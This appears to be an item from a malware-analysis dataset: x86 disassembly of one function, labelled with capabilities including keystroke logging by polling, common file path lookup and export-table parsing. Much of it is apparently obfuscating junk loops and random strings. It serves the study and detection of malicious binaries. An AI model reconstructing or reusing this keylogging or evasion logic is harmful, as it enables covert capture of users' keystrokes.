Function at 0x10002e86
Capabilities:
Get common file path
Log keystrokes via polling
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x10065186
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xe0
cmp byte [ebp + 0xc], 0
push ebx
push esi
push edi
mov dword [esp + 0x54], edx
mov dword [esp + 0x38], ecx
je 0x10002ee6
cmp byte [ebp + 8], 0
je 0x10002ece
push 0x334
call dword [sym.imp.USER32.dll_GetKeyState]
jmp 0x1000351f
mov eax, dword [ebp + 0x10]
cmp byte [eax], 0
je 0x1000351f
xor ecx, ecx
call fcn.10001339
jmp 0x1000351f
mov dword [esp + 0xc], 0x2236
cmp dword [esp + 0xc], 0x238f
push 0
pop ebx
jle 0x10002f83
mov esi, ebx
mov dword [esp + 0x10], ebx
mov edi, ebx
mov dword [esp + 0x14], ebx
mov ecx, edi
mov dword [esp + 0x1c], esi
mov edi, esi
mov esi, ebx
shl edi, cl
mov ecx, esi
mov eax, edi
sar eax, cl
lea ecx, [esp + 0xb8]
cdq
push edx
push eax
call fcn.10001301
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10002f36
mov eax, dword [eax]
push eax
call fcn.1004c2d0
pop ecx
push ebx
push 1
lea ecx, [esp + 0xc0]
call fcn.1000168f
inc esi
cmp esi, 0x2ee
jl 0x10002f17
mov edi, dword [esp + 0x14]
mov esi, dword [esp + 0x10]
inc edi
mov dword [esp + 0x14], edi
cmp edi, 0x1c43
jl 0x10002f0b
inc esi
mov dword [esp + 0x10], esi
cmp esi, 0x35a1
jl 0x10002f05
push 0x2530
push ebx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
cmp dword [esp + 0xc], 0x2051
jge 0x10002f98
push str.ocisoxbp_taxsi_acwegwjk_vbllk_lroza_grg_lbykngeu_upg
call fcn.1004c2d0
pop ecx
or dword [esp + 0xf4], 0xffffffff
mov dword [esp + 0x1c], 0x2e55
cmp dword [esp + 0x1c], 0x2f38
jle 0x10003021
mov esi, ebx
mov dword [esp + 0x10], ebx
mov edi, ebx
mov dword [esp + 0x14], ebx
mov eax, esi
cdq
idiv edi
mov edi, 0x7397
mov esi, edx
mov eax, esi
lea ecx, [esp + 0xa0]
cdq
push edx
push eax
call fcn.10001301
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10002fe5
mov eax, dword [eax]
push eax
call fcn.1004c2d0
pop ecx
push ebx
push 1
lea ecx, [esp + 0xa8]
call fcn.1000168f
inc esi
dec edi
jne 0x10002fca
mov edi, dword [esp + 0x14]
mov esi, dword [esp + 0x10]
inc edi
mov dword [esp + 0x14], edi
cmp edi, 0x536c
jl 0x10002fbe
inc esi
mov dword [esp + 0x10], esi
cmp esi, 0x6196
jl 0x10002fb8
cmp byte [ebp + 0x14], 0
je 0x100034f8
mov esi, dword [esp + 0x38]
lea ecx, [esp + 0x48]
mov dword [esp + 0x40], esi
mov eax, 0xa8b060d2
mov dword [esp + 0x24], ebx
xor edi, edi
mov dword [esp + 0x14], 0xa147b80b
inc edi
mov dword [esp + 0x70], eax
mov dword [esp + 0x74], eax
mov dword [esp + 0x78], eax
mov dword [esp + 0x7c], eax
mov dword [esp + 0x28], 0xffff
push edi
call fcn.100014bd
lea eax, [esp + 0x48]
mov dword [esp + 0xf4], 2
push eax
push ecx
push ecx
lea eax, [esp + 0x50]
push eax
push ecx
call fcn.1000657b
add esp, 0x14
cmp dword [esp + 0x14], ebx
jne 0x1000309d
mov eax, dword [esp + 0x24]
mov edx, ebx
add eax, eax
mov dword [esp + 0x7c], eax
je 0x1000309f
mov edx, edi
mov eax, dword [esp + 0x14]
xor ecx, ecx
cmp eax, edx
setl cl
xor eax, eax
cmp ecx, 0x7c6f
setge al
mov dword [esp + 0x28], eax
mov eax, dword [esp + 0x28]
sub eax, 7
neg eax
sbb eax, eax
xor edx, edx
inc eax
cmp eax, 0xffffffff
mov eax, dword [esp + 0x48]
setg dl
xor ecx, ecx
mov dword [eax], edx
mov eax, dword [esp + 0x24]
cmp eax, edx
setge cl
cmp ecx, 0x39b642c
jl 0x1000310e
mov dword [esp + 0x24], ebx
jmp 0x10003106
lea eax, [esp + 0x48]
mov ecx, 0x73f4
push ebx
push eax
lea edx, [esp + 0x2c]
call fcn.10006109
inc dword [esp + 0x2c]
pop ecx
pop ecx
cmp dword [esp + 0x24], edi
jl 0x100030ec
jmp 0x10003142
mov dword [esp + 0x28], 0xffffffff
jmp 0x1000313b
push ebx
push 0x8f8
push ebx
push edi
mov edx, 0x4734
mov ecx, 0x20e5
call fcn.10002e86
add esp, 0x10
call fcn.1000511f
inc dword [esp + 0x28]
cmp dword [esp + 0x28], 5
jne 0x10003118
push ecx
lea eax, [esp + 0x4c]
push eax
push ecx
lea eax, [esp + 0x30]
push eax
lea edx, [esp + 0x38]
call fcn.10006a4a
or dword [esp + 0x104], 0xffffffff
lea ecx, [esp + 0x58]
add esp, 0x10
call fcn.10001540
mov dword [esp + 0xc], 0xc93b4e1a
mov dword [esp + 0xc], ebx
jmp 0x1000325f
push dword [esp + 0x44]
movdqa xmm0, xmmword [0x10074300]
lea eax, [esp + 0x94]
push eax
lea eax, [esp + 0x88]
mov dword [esp + 0x60], ebx
push eax
push ebx
lea ecx, [esp + 0x68]
mov dword [esp + 0x6c], ebx
movdqu xmmword [esp + 0x90], xmm0
mov dword [esp + 0x70], ebx
call fcn.10001981
mov dword [esp + 0xf4], 3
mov dword [esp + 0x10], ebx
jmp 0x100031d7
mov eax, dword [esp + 0x10]
mov dword [esp + eax*4 + 0x90], ebx
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 4
jl 0x100031c8
mov edx, 0x3611
xor cl, cl
call fcn.10005066
mov eax, dword [esp + 0xc]
inc eax
je 0x1000323f
mov dword [esp + 0x10], ebx
jmp 0x10003207
mov eax, dword [esp + 0x10]
mov dword [esp + eax*4 + 0x2c], 0xffffffff
inc dword [esp + 0x10]
cmp dword [esp + 0x10], edi
jl 0x100031f7
mov dword [esp + 0x2c], ebx
jmp 0x10003226
mov ecx, dword [esp + 0x2c]
mov eax, dword [esp + 0x58]
mov dword [eax + ecx*4], 0x3e31551d
inc dword [esp + 0x2c]
cmp dword [esp + 0x2c], 4
jl 0x10003213
mov byte [esp + 0x1b], bl
cmp byte [esp + 0x1b], 0
je 0x1000324a
call fcn.10004811
jmp 0x1000324a
mov dword [esp + 0x9c], 4
or dword [esp + 0xf4], 0xffffffff
lea ecx, [esp + 0x58]
call fcn.10001540
inc dword [esp + 0xc]
cmp dword [esp + 0xc], 4
je 0x1000317c
movzx eax, word [esi]
mov dword [esp + 0x3c], eax
mov dword [esp + 0x20], ebx
mov dword [esp + 0x1c], 0xfffffff7
mov dword [esp + 0x1c], 0x54db
cmp dword [esp + 0x1c], 0x55e3
jle 0x1000332f
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov dword [esp + 0x34], ebx
mov eax, ebx
mov dword [esp + 0xc], 0x38e0
mov dword [esp + 0x14], eax
mov edi, ebx
mov dword [esp + 0x10], ebx
cdq
mov esi, ebx
idiv edi
mov edi, edx
mov ecx, esi
mov eax, edi
sar eax, cl
lea ecx, [esp + 0xd0]
cdq
push edx
push eax
call fcn.10001301
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x100032d7
mov eax, dword [eax]
push eax
call fcn.1004c2d0
pop ecx
push ebx
push 1
lea ecx, [esp + 0xd8]
call fcn.1000168f
inc esi
cmp esi, 0x434b
jl 0x100032b8
mov edi, dword [esp + 0x10]
mov eax, dword [esp + 0x14]
inc edi
mov dword [esp + 0x10], edi
cmp edi, 0x3cdd
jl 0x100032b1
mov esi, dword [esp + 0x34]
add eax, esi
dec dword [esp + 0xc]
mov dword [esp + 0x14], eax
jne 0x100032ab
inc esi
mov dword [esp + 0x34], esi
cmp esi, 0x26d7
jl 0x1000329d
xor edi, edi
inc edi
mov dword [esp + 0x14], 0xfffffffb
cmp dword [esp + 0x1c], 0x5325
jge 0x1000334c
push str.aicdjfzl_bxvvmk_bep_omnqebso_nvaw
call fcn.1004c2d0
pop ecx
or dword [esp + 0xf4], 0xffffffff
lea ecx, [esp + 0x64]
mov dword [esp + 0x1c], 0x716e289a
mov dword [esp + 0xc], ebx
push 4
call fcn.100014bd
mov dword [esp + 0xf4], 6
mov dword [esp + 0x10], 0xfd89d684
mov dword [esp + 0x38], 0xf2c67a95
mov dword [esp + 0xc], ebx
jmp 0x1000339c
mov eax, dword [esp + 0xc]
mov dword [esp + eax*4 + 0x30], 0xffff
inc dword [esp + 0xc]
cmp dword [esp + 0xc], edi
jl 0x1000338c
mov dword [esp + 0xc], ebx
jmp 0x100033bb
mov ecx, dword [esp + 0xc]
mov eax, dword [esp + 0x64]
mov dword [eax + ecx*4], 0xc7a88ff7
inc dword [esp + 0xc]
cmp dword [esp + 0xc], 4
jl 0x100033a8
xor dl, dl
lea ecx, [esp + 0x20]
call fcn.10004845
mov eax, dword [esp + 0x30]
xor edx, edx
cmp eax, 0xd6b5
mov eax, dword [esp + 0x20]
setne dl
xor ecx, ecx
sub edx, eax
mov eax, dword [esp + 0x30]
cmp edx, eax
mov eax, dword [esp + 0x20]
setge cl
add eax, ecx
mov dword [esp + 0x1c], eax
mov eax, dword [esp + 0x1c]
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x14]
add ecx, 2
sub ecx, dword [esp + 0x20]
mov eax, dword [esp + 0x20]
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
imul eax, ecx
cmp eax, 0xfffffff8
mov eax, dword [esp + 0x14]
setge dl
xor ecx, ecx
cmp edx, eax
sete cl
xor edx, edx
mov dword [esp + 0x1c], ecx
mov eax, dword [esp + 0x1c]
mov dword [esp + 0xc], eax
mov ecx, dword [esp + 0xc]
mov eax, dword [esp + 0x20]
cmp ecx, eax
mov eax, dword [esp + 0x20]
mov esi, dword [esp + 0x64]
setg dl
xor ecx, ecx
cmp edx, 0x9e68
setle cl
xor ebx, ebx
cmp eax, ecx
mov ecx, dword [esp + 0x20]
mov eax, dword [esp + 0x20]
setne bl
xor edx, edx
cmp ecx, eax
mov eax, dword [esp + 0x10]
mov eax, dword [esp + 0x30]
mov ecx, dword [esp + 0x10]
setle dl
mov eax, dword [esp + 0xc]
imul edx, ebx
mov dword [esi + 4], edx
xor edx, edx
cmp eax, ecx
setg dl
cmp edx, dword [esp + 0x20]
je 0x10003493
mov eax, dword [esp + 0x10]
mov eax, dword [esp + 0x10]
xor ecx, ecx
mov eax, dword [esp + 0x14]
mov eax, dword [esp + 0x10]
mov eax, dword [esp + 0x30]
cmp dword [esi + 4], eax
setge cl
mov dword [esp + 0x38], ecx
lea ecx, [esp + 0x64]
or dword [esp + 0xf4], 0xffffffff
call fcn.10001540
lea eax, [esp + 0x3c]
xor cl, cl
push eax
lea edx, [esp + 0x44]
call fcn.10005c5f
mov edi, dword [esp + 0x44]
xor esi, esi
pop ecx
mov cl, byte [esi + edi]
mov dl, 0x48
call fcn.1000ff96
mov byte [esi + edi], al
inc esi
cmp esi, 2
jb 0x100034d7
mov ecx, dword [esp + 0x54]
mov ax, word [esp + 0x3c]
mov word [ecx], ax
jmp 0x1000351f
mov byte [esp + 0x1b], bl
cmp byte [esp + 0x1b], 0
je 0x1000350a
push ebx
call dword [sym.imp.USER32.dll_CreateIconIndirect]
cmp dword [esp + 0x1c], 0x2de8
jge 0x1000351f
push str.gteqk_hjmz_mbihqisq_intnzavlv_cvtlqoen_vbu_cofzpkk_fojvnya_nhptcrtxc_arp_oybayttj_zgrunjl
call fcn.1004c2d0
pop ecx
mov ecx, dword [esp + 0xec]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret